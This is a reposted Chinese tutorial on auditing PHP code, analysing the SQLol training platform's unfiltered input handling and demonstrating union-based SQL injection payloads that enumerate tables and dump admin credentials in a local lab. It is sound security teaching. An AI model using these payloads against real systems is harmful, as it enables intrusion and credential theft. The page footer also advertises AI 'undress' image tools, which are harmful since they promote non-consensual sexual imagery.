search
HomeBackend DevelopmentPHP Tutorial【PHP代码审计实例教程】 SQL注入 – 1.什么都没过滤的入门情况

近期博客将更新几篇PHP代码审计教程,文章转载自朋友博客,文章的风格简洁明了,也和我博客一惯坚持的风格类似。

文章已经得到授权(cnbraid授权),虽然不是我原创,但是文章很给力,希望小伙伴们喜欢。

0x01 背景

首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~

0x02 环境搭建

PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。

这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。

PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。

①源码我打包了一份: http://pan.baidu.com/s/1nu2vaOT

②解压到www的sql目录下,直接打开http://localhost/sql即可看到如下界面:

0x03 漏洞分析

首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件:

这里进行简单的源码分析,看不懂就略过以后再看~

1.看select.php文件,开始引入了/include/nav.inc.php

<?phpinclude('includes/nav.inc.php');?>

2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:

表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下

<?php$_REQUEST = array_merge($_GET, $_POST, $_COOKIE);if(isset($_REQUEST['submit'])){ //submit后,开始进入处理程序switch($_REQUEST['sanitize_quotes']){ //单引号的处理,表单选择不过滤,就是对应none,新手看不懂可以学好php再回来    case 'quotes_double':        $_REQUEST['inject_string'] = str_replace('\'', '\'\'', $_REQUEST['inject_string']);        break;    case 'quotes_escape':        $_REQUEST['inject_string'] = str_replace('\'', '\\\'', $_REQUEST['inject_string']);        break;    case 'quotes_remove':        $_REQUEST['inject_string'] = str_replace('\'', '', $_REQUEST['inject_string']);        break;}//对空格的处理,如果参数中没有spaces_remove或者spaces_remove!=on就不会过滤空格if(isset($_REQUEST['spaces_remove']) and $_REQUEST['spaces_remove'] == 'on') $_REQUEST['inject_string'] = str_replace(' ', '', $_REQUEST['inject_string']);//黑名单关键字的处理,文章用不上,略过...if(isset($_REQUEST['blacklist_keywords'])){    $blacklist = explode(',' , $_REQUEST['blacklist_keywords']);}//过滤级别,新手可以不用管,略过...if(isset($_REQUEST['blacklist_level'])){    switch($_REQUEST['blacklist_level']){        //We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively.        //At medium blacklisting, checks are done case-insensitively.        //At the highest level, checks are done case-insensitively and repeatedly.        case 'low':            foreach($blacklist as $keyword){                $_REQUEST['inject_string'] = str_replace($keyword, '', $_REQUEST['inject_string']);            }            break;        case 'medium':            foreach($blacklist as $keyword){                $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']));            }            break;        case 'high':            do{                $keyword_found = 0;                foreach($blacklist as $keyword){                    $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']), $count);                    $keyword_found += $count;                }                }while ($keyword_found);            break;    }}}?>

3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:

<?phpif(isset($_REQUEST['submit'])){ //submit后,进入处理程序之二,1在上面if($_REQUEST['location'] == 'entire_query'){//判断是不是整条语句都要注入,这里方便学习可以忽略不管    $query = $_REQUEST['inject_string'];    if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>';} else { //这里是根据你选择要注射的位置来构造sql语句    $display_column_name = $column_name = 'username';    $display_table_name = $table_name = 'users';    $display_where_clause = $where_clause = 'WHERE isadmin = 0';    $display_group_by_clause = $group_by_clause = 'GROUP BY username';    $display_order_by_clause = $order_by_clause = 'ORDER BY username ASC';    $display_having_clause = $having_clause = 'HAVING 1 = 1';    switch ($_REQUEST['location']){        case 'column_name':            $column_name = $_REQUEST['inject_string'];            $display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'table_name':            $table_name = $_REQUEST['inject_string'];            $display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'where_string':            $where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'";            $display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'";            break;        case 'where_int':            $where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string'];            $display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'group_by':            $group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string'];            $display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'order_by':            $order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC';            $display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC';            break;        case 'having':            $having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string'];            $display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;    }    $query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause ";    /*Probably a better way to create $displayquery...    This allows me to underline the injection string    in the resulting query that's displayed with the    "Show Query" option without munging the query    which hits the database.*/    $displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause ";}include('includes/database.inc.php');//这里又引入了一个包,我们继续跟进看看}?>

4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^

$db_conn = NewADOConnection($dsn);print("\n<br>\n<br>");if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>";$db_conn->SetFetchMode(ADODB_FETCH_ASSOC);$results = $db_conn->Execute($query);

0x04 漏洞证明

1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控:

2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC

根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC:

-1 union select 222333#

找到输出点“222333”的位置如下图:

3.构造获取数据库相关信息的POC:

-1 union select concat(database(),0x5c,user(),0x5c,version())#

成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下:

4.构造获取数据库sqlol中所有表信息的POC:

-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#

成功获取数据库sqlol所有表信息如下:

5.构造获取admin表所有字段信息的POC:

-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#

成功获取表admin所有字段信息如下:

6.构造获取admin表账户密码的POC:

-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#

成功获取管理员的账户密码信息如下:

原文地址:

http://www.cnbraid.com/2015/12/17/sql0/

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
PHP and Python: Different Paradigms ExplainedPHP and Python: Different Paradigms ExplainedApr 18, 2025 am 12:26 AM

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP and Python: A Deep Dive into Their HistoryPHP and Python: A Deep Dive into Their HistoryApr 18, 2025 am 12:25 AM

PHP originated in 1994 and was developed by RasmusLerdorf. It was originally used to track website visitors and gradually evolved into a server-side scripting language and was widely used in web development. Python was developed by Guidovan Rossum in the late 1980s and was first released in 1991. It emphasizes code readability and simplicity, and is suitable for scientific computing, data analysis and other fields.

Choosing Between PHP and Python: A GuideChoosing Between PHP and Python: A GuideApr 18, 2025 am 12:24 AM

PHP is suitable for web development and rapid prototyping, and Python is suitable for data science and machine learning. 1.PHP is used for dynamic web development, with simple syntax and suitable for rapid development. 2. Python has concise syntax, is suitable for multiple fields, and has a strong library ecosystem.

PHP and Frameworks: Modernizing the LanguagePHP and Frameworks: Modernizing the LanguageApr 18, 2025 am 12:14 AM

PHP remains important in the modernization process because it supports a large number of websites and applications and adapts to development needs through frameworks. 1.PHP7 improves performance and introduces new features. 2. Modern frameworks such as Laravel, Symfony and CodeIgniter simplify development and improve code quality. 3. Performance optimization and best practices further improve application efficiency.

PHP's Impact: Web Development and BeyondPHP's Impact: Web Development and BeyondApr 18, 2025 am 12:10 AM

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

How does PHP type hinting work, including scalar types, return types, union types, and nullable types?How does PHP type hinting work, including scalar types, return types, union types, and nullable types?Apr 17, 2025 am 12:25 AM

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values ​​and handle functions that may return null values.

How does PHP handle object cloning (clone keyword) and the __clone magic method?How does PHP handle object cloning (clone keyword) and the __clone magic method?Apr 17, 2025 am 12:24 AM

In PHP, use the clone keyword to create a copy of the object and customize the cloning behavior through the \_\_clone magic method. 1. Use the clone keyword to make a shallow copy, cloning the object's properties but not the object's properties. 2. The \_\_clone method can deeply copy nested objects to avoid shallow copying problems. 3. Pay attention to avoid circular references and performance problems in cloning, and optimize cloning operations to improve efficiency.

PHP vs. Python: Use Cases and ApplicationsPHP vs. Python: Use Cases and ApplicationsApr 17, 2025 am 12:23 AM

PHP is suitable for web development and content management systems, and Python is suitable for data science, machine learning and automation scripts. 1.PHP performs well in building fast and scalable websites and applications and is commonly used in CMS such as WordPress. 2. Python has performed outstandingly in the fields of data science and machine learning, with rich libraries such as NumPy and TensorFlow.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
Will R.E.P.O. Have Crossplay?
1 months agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor